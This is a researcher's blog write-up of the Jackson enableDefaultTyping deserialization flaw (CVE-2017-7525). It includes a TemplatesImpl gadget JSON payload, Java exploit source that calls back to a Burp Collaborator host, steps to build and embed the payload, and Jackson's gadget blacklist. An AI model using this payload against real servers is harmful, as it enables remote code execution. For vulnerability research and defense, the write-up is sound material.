Jackson enableDefaultTyping method of deserialization code execution vulnerability(CVE-2017-7525)


Earlier this year, a vulnerability was discovered in the Jackson data-binding library, a library for Java that allows developers to easily serialize Java objects to JSON and vice versa, that allowed an attacker to exploit deserialization to achieve Remote Code Execution on the server. This vulnerability didn’t seem to get much attention, and even less documentation. Given that this is an easily exploited Remote Code Execution vulnerability with little documentation, I’m sharing my notes on it. ### What To Look For There are a couple of ways to use Jackson, the simplest, and likely most common, is to perform a binding to a single object, pulling the values from the JSON and setting the properties on the associated Java object. This is simple, straightforward, and likely not exploitable. Here’s a sample of what that type of document looks like: ``` { "name" : "Bob", "age" : 13, "other" : { "type" : "student" } } ``` What we are interested in, is a bit different – in some cases1 you are create arbitrary objects, and you will see their class name in the JSON document. If you see this, it should raise an immediate red flag. Here’s a sample of what these look like: ``` { "@class":"MyApp.Obj", val:[ "java.lang.Long", 1 ] } ``` To determine if this really is Jackson that you are seeing, one technique is (if detailed error messages are available) to provide invalid input and look for references to either of these: * com.fasterxml.jackson.databind * org.codehaus.jackson.map ### Building An Exploit The ability to create arbitrary objects though, does come with some limitations: the most important of which is that Jackson requires a default constructor (no arguments), so some things that seem like obvious choices (i.e. java.lang.ProcessBuilder) aren’t an option. There are some suggestions on techniques in the [paper from Moritz Bechler](https://github.com/mbechler/marshalsec), though the technique pushed in the paper is interesting (the focus is on loading remote objects from another server), it didn’t meet my needs. There are other, simple options available. Helpfully, the project gave us a starting point to build an effective exploit in one of their unit tests: ``` {'id': 124, 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl', { 'transletBytecodes' : [ 'AAIAZQ==' ], 'transletName' : 'a.b', 'outputProperties' : { } } ] } ``` This code leverages a well-known ‘gadget’ to create an object that will accept a compile Java object (via transletBytecodes) and execute it as soon as outputProperties is accessed. This creates a very simple, straightforward technique to exploit this vulnerability. We can supply a payload to this to prove that we have execution, and we are done. ### Building The Payload In this case, the goal is to prove that we have execution, and the route I went is to have the server issue a GET request to Burp Collaborator. This can be done easily with the following sample code: ``` import java.io.*; import java.net.*; public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet { public Exploit() throws Exception { StringBuilder result = new StringBuilder(); URL url = new URL("http://[your-url].burpcollaborator.net"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = rd.readLine()) != null) { result.append(line); } rd.close(); } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) { } } ``` This code can be compiled with the javac compiler, and then the resulting .class file should be Base64 encoded, and provided to the transletBytecodes field in the JSON document. As soon as the document is processed, it will create the object, load the code, and execute it. You may still see errors from code failing after the code executes, such as from type-mismatches or the like. ### Limiting Attack Surface This is just one technique to exploit this flaw, there are many others available. To mitigate the issue, at least in part, Jackson has been modified with a blacklist of types known to be useful gadgets for this type of attack: * org.apache.commons.collections.functors.InvokerTransformer * org.apache.commons.collections.functors.InstantiateTransformer * org.apache.commons.collections4.functors.InvokerTransformer * org.apache.commons.collections4.functors.InstantiateTransformer * org.codehaus.groovy.runtime.ConvertedClosure * org.codehaus.groovy.runtime.MethodClosure * org.springframework.beans.factory.ObjectFactory * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl * org.apache.xalan.xsltc.trax.TemplatesImpl * com.sun.rowset.JdbcRowSetImpl * java.util.logging.FileHandler * java.rmi.server.UnicastRemoteObject * org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor * org.springframework.beans.factory.config.PropertyPathFactoryBean * com.mchange.v2.c3p0.JndiRefForwardingDataSource * com.mchange.v2.c3p0.WrapperConnectionPoolDataSource There are likely others that can be used in similar ways to gain code execution that haven’t become well-known yet, so this doesn’t eliminate the problem, it just makes it less likely.